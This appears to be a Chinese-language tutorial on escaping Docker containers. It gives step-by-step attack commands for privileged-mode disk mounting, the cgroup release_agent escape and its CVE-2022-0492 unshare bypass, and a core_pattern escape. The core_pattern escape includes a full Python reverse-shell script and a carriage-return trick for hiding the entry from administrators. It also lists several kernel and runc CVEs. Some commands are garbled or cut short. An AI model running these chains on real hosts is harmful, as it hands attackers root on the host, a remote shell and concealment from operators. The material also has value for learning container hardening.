云原生安全-Docker逃逸
privileged 特权模式直接挂载目录
容器启动时如果添加了 --privileged
参数,就会以特权模式启动docker,具备所有的Capabilities,容器可以访问主机所有device以及具有mount操作的权限
docker run -it --rm --privileged ubuntu /bin/bash
在容器中可以通过cat /proc/self/status | grep CapEff
来判断容器是否以特权模式启动
如果是特权模式的话,CapEff对应的值为0000003fffffffff
通过capsh
可以看到其所具有的capability权限
如: capsh --decode=0000003fffffffff
以privileged
参数运行的容器中携带了所有的cap,而且可以访问所有device,此时逃逸到宿主机就很简单,先将其挂载到容器中,然后使用chroot
获取一个以宿主机根目录为根目录的shell
来拿到宿主机的权限。
mkdir /pwn
mount /dev/sda1 /pwn
chroot /pwn
此时即可访问宿主机下的所有文件
notify_on_release机制逃逸
攻击流程
cgroup机制
cgroup机制即在cpu,内存和硬件等资源方面实现隔离
notify_on_release逃逸会用到cgroup的隔离机制,cgroups为每种可以控制的资源定义了一个子系统(subsystem)
子系统(subsystem) 一个子系统就是一个资源控制器,比如cpu子系统就是控制cpu时间分配的一个控制器
层级(hierachy) 子系统必须attach到一个层级上才起作用
控制组群(control group) cgroups中的资源控制都是以控制组群为单位实现。
任务(task) 即系统的一个进程,控制组群所对应的目录中有一个
tasks
文件,将进程ID写进该文件,该进程就会受到该控制组群的限制
在Linux中cgroups的实现形式为一个文件系统,可以通过mount -t cgroup
看到cgroup的挂载情况
可以看到cgroup提供了很多子系统,包括cpu,devices,blkio等
几个重要的文件:
cgroup.procs
:罗列所有在该cgroup中的TGID(线程组ID),即线程组中第一个进程的PID
tasks
:罗列了所有在该cgroup中任务的TID,即所有进程或线程的ID
notify_on_release
:0或1,表示是否在cgroup中最后一个任务退出时通知运行release agent,默认情况下是0,表示不运行
如果notify_on_release的值被设置为1,cgroup下所有task结束的时候(最后一个进程结束或转移到其他cgroup),那么内核就会运行root cgroup下release_agent文件中的对应路径的文件
release_agent文件内容应该指定一个可执行文件路径名。这个路径名是宿主机的路径名也就是文件的真实路径,不是在容器中看到的路径,通常用于自动化卸载无用的cgroup。并且整个文件只能存在于顶层 cgroup 子系统中,如果在下层创建release_agent文件会提示Permission denied无法创建
利用原理
1.对cgroup有可写权限。(设置notify_on_release为1触发notify_on_release机制)
2.知道一个宿主机路径并且容器中可在这个路径写入文件。(release_agent文件中对应路径的文件)
第一个条件需要对cgroup可写,并且有可执行的release_agent文件,比较特殊的是notify_on_release文件在每一个层级的子系统中都有,但是release_agent
文件只并不是每个顶层子系统都有,默认符合条件的只有rdma子系统
第二个条件,我们要知道一个宿主机的路径并且可在这个路径下写入文件。我们都知道Docker是分层存储的,实际上整个 Docker 容器在运行中默认使用的存储方式为 OverlayFS 文件系统,默认使用的驱动是 overlay2。
OverlayFS在Linux宿主机上分层为两个目录,在容器中它们显示为一个目录。这些目录被称为 “层”,OverlayFS 将下层目录称为 lowerdir
,上层目录称为 upperdir
。合并后的称为 merged
lowerdir
一般存储的是镜像相关的层,upperdir
一般存储的是运行中的未提交容器层,它们都被挂载到了宿主机的文件系统中。
在容器内部,可以通过/etc/mtab
文件来找到容器对应的lowerdir
和upperdir
Exp:
1.创建目录并挂载cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
2.在rdma子系统下创建一个自定义子系统
mkdir /tmp/cgrp/x
3.将刚刚创建的 x 子系统中的 notify_on_release
文件配置为 1 用来在全部进程都退出该 cgroup 子系统后触发内核调用 release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
4.获取upper_dir
host_path=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`
5.在容器内部创建payload
echo '#!/bin/sh' > /cmd
echo "touch /pwned" >> /cmd
chmod a+x /c m d
6.设置release_agent
echo "$host_path/cmd" > /tmp/cgrp/release_agent
7.添加一个执行后就退出的进程到新创建的 cgroup 子系统中来触发 notify_on_release
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
bypass sys_admin (CVE-2022-0492)
只需要关闭AppArmor 和 Seccomp即可成功利用
docker run --security-opt apparmor=unconfined --security-opt seccomp=unconfined ubuntu bash
此时系统不允许将内核相关的虚拟文件系统 mount 到用户目录下
新建个 Namespace 来个 Namespace 嵌套 Namespace,并且重新定义一些资源隔离,让新建的 Namespace 又误以为是一个新的环境即可绕过
使用unshare创建一个namespace即可
unshare -UrmC test
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
剩下的操作就和之前一样了
该漏洞影响v2.6.24-rc1及以上Linux内核版本,修复版本为v5.17-rc3及以上内核版本,修复补丁限制了release_agaent的权限
实际上这是linux内核的洞而非docker的洞
重写devices.allow逃逸
devices子系统用于配置允许或阻止cgroup中的task访问某个设备,起到黑白名单的作用
主要包含以下文件:
device.allow : cgroup中的task能够访问的设备列表,格式为type major:minor access type 表示类型,可以为a(all) c(char) b(block)
major:minor代表设备编号
accss表示访问方式,可以为r(read),w(write), m(mknod)的组合
devices.deny:cgroup 中任务不能访问的设备,和上面的格式相同
devices.list:列出 cgroup 中设备的黑名单和白名单
攻击流程
debugfs写计划任务:https://fun0nydg.github.io/2021/06/19/The-role-of-debugfs-in-container-escape.html
使用mount挂载:
docker.sock挂载逃逸
Docker采用C/S架构,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演
两者之间的通信方式有以下三种:
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件
利用原理
当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,创建运行并切换至不安全的容器B,最终在容器B中控制宿主机
攻击流程
docker run -it -v /var/run/:/
挂载/proc
linux的/proc是一个伪文件系统,当容器启动时将/proc目录挂载到容器内部时就可以实现逃逸
/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行,并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。
由于管道符的原因,错误的数据可能会扰乱我们的命令,因此这里用python接受并且忽略错误数据。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
找到当前容器在宿主机下的绝对路径:
创建一个反弹shell的python脚本:
#!/usr/bin/python3
import os
import pty
import socket
lhost = "127.0.0.1"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
并且创建一个会抛出段错误的程序
然后在core_pattern
文件中写入运行反弹shell的命令(这里需要注意由于是以宿主机上的权限运行的,因此python的路径则也是docker目录的路径)
echo -e "|$host_path/test.py \rcore " > /host-proc/sys/kernel/core_pattern
\r
之后的内容主要是为了为了管理员通过cat
命令查看内容时隐蔽我们写入恶意命令。 这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern
中的命令
程序漏洞 & 内核漏洞
runC容器逃逸漏洞 CVE-2019-5736
Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。 利用条件: Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况
Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限
DirtyCow(CVE-2016-5195)脏牛
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
DirtyPipe(CVE-2022-0847)脏管道
Dirtypipe漏洞允许向任意可读文件中写数据,可造成非特权进程向root进程注入代码